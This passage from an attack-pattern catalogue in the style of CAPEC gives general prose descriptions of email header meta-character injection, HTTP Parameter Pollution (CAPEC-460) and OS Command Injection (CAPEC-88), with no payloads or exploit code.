This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.

CAPEC-460: HTTP Parameter Pollution (HPP)

An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

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